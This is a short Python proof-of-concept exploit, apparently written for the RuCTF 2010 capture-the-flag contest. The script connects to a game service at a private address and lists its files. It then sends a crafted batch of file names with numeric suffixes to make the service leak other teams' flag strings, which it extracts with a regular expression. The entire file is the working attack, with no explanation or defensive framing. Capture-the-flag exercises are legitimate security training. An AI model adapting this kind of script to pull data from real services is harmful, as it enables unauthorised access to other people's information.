#ructf2010 poc svn
#http://smokedchicken.org

from socket import *
import re
HOST = '172.31.255.232'
port = 12345
s = socket (AF_INET,SOCK_STREAM)
s.setblocking(1)
s.settimeout(10)
s.connect((HOST,port))
s.send('l\n')
r=''
while 'time is out' not in r:
	r = r + s.recv(1)
s.close()

data=''
files = r.split()
for flag_file in files:
	data = data + flag_file+'\n'
	for j in xrange (34,200):
		data = data + flag_file + str(j) + '\n'

print "exploit len:",len(data)
s = socket (AF_INET,SOCK_STREAM)
s.setblocking(1)
s.settimeout(10)
s.connect((HOST,port))
s.send(data)
r=''
try:
	while 'time is out' not in r:
		r = r + s.recv(1024)
except:
	pass
s.close()
flagset = []
for flag in re.findall('[A-Z0-9]{31}=',r):
	if flag not in flagset:
		flagset.append(flag)
for flag in flagset:
	print flag